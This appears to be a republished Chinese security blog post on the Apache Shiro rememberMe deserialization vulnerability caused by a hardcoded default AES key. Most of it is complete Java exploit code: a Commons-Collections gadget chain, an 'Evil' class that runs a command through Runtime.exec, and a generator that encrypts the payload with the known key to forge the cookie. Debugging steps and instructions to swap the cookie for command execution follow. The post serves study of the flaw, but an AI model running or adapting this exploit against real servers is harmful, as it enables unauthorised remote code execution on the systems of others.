1. 漏洞成因
為了讓瀏覽器或服務器重啟后用戶不丟失登錄狀態,Shiro支持將持久化資訊序列化并加密后保存在Cookie的rememberMe欄位中,下次讀取時進行解密再反序列化,但是在Shiro 1.2.4版本之前內置了一個默認且固定的加密Key,導致攻擊者可以偽造任意的rememberMe Cookie,進而觸發反序列化漏洞
2. 漏洞復現
POC:
點擊查看代碼
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
*/
public class CC_Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
// 這里是查看了P牛的文章,在CC6中可以不適用ysoserial中原本的HashSet,直接使用HashMap,因為HashMap的readObject()就直接呼叫到了hash()方法
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
再寫一個類來呼叫POC類中的getPayload方法同時傳入惡意命令的位元組碼,因為這條鏈的命令執行方式是通過最后的defineClass()進行類加載執行,并將回傳的序列化后的資料通過shiro的加密方式進行加密
點擊查看代碼
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Main {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
最后還有一個用來生成命令執行位元組碼的類,分析過CC3就知道,必須繼承AbstractTranslet同時實作兩個抽象方法
點擊查看代碼
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
總的代碼邏輯就是Main函式啟動,首先通過javassti將Evil類轉成位元組碼然后傳遞給CC_Shiro的getPayload函式,在其中執行完構造好的代碼后回傳惡意的序列化內容,將回傳的內容以shiro默認秘鑰和AesCipherService類來進行加密,加密后的內容輸出,而這就是我們需要的payload內容,將其替換shiro框架Cookie中的rememberMe欄位發送給服務端即可造成命令執行
利用鏈分析
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
總體就像前面是CC6的前半部分加上CC4后半部分通過類加載進行命令執行(這里查看了P牛的文章,在CC6中可以不適用ysoserial中原本的HashSet,直接使用HashMap,因為HashMap的readObject()就直接呼叫到了hash()方法),所以這條鏈就直接以HashMap#readObject()作為入口
為了方便除錯這里在POC代碼隨便改改,把反序列化部分也加上
點擊查看代碼
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
*/
public class CommonsCollectionsShiro {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize"));
outputStream.writeObject(expMap);
outputStream.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize"));
in.readObject();
// ==================
// 生成序列化字串
// ByteArrayOutputStream barr = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(barr);
// oos.writeObject(expMap);
// oos.close();
// return barr.toByteArray();
return new byte[]{};
}
}
這條鏈與之前CC鏈最不同的點就在于new TiedMapEntry的時候直接把TemplatesImpl物件作為key傳入,而這個key會作為LazyMap#get(key)方法的引數,最終作為InvokerTransformer#transform(key)的引數,實作反射呼叫TemplatesImpl#newTransformer(),后面就是CC3的命令執行流程了,這樣就可以將前后兩部分拼接起來
這樣做的目的是因為在shiro中不能使用原本CC6的Transformer陣列,我們只能進行改造使其編程沒有陣列的形式,原因可以參照下面的參考文章,簡單來說就是如果反序列化流中包含非Java自身的陣列,則會出現無法加載類的錯誤,所以有Transformer陣列是反序列化會出例外而無法正常執行下去
因此我們發現了TiedMapEntry建構式和getValue()函式的配合能直接讓
InvokerTransformer#transform函式的引數input為TemplatesImpl的物件,這樣就可以直接反射呼叫到TemplatesImpl#newTransformer()方法
接下來進行下除錯復現
在HashMap#readObject()中的hash()函式這下斷點開始除錯

進入hash方法

進入hashcode方法

再進入TiedMapEntry的getValue,此時this.map是LazyMap,而this.key正是TemplatesImpl物件,它是在new TiedMapEntry時在構造方法傳入的

進入get方法后后面就是CC3后面的程序

利用生成的payload完成復現
運行Main.java就可以生成payload

自己搭建一個有該漏洞的shiro版本的靶場
將payload替換rememberMe,即可命令執行

參考文章:https://www.anquanke.com/post/id/192619、《java安全漫談15》-phith0n
It is never too late to learn 個人博客:yiaho.cn轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499058.html
標籤:其他
上一篇:偽靜態頁面的SQL注入
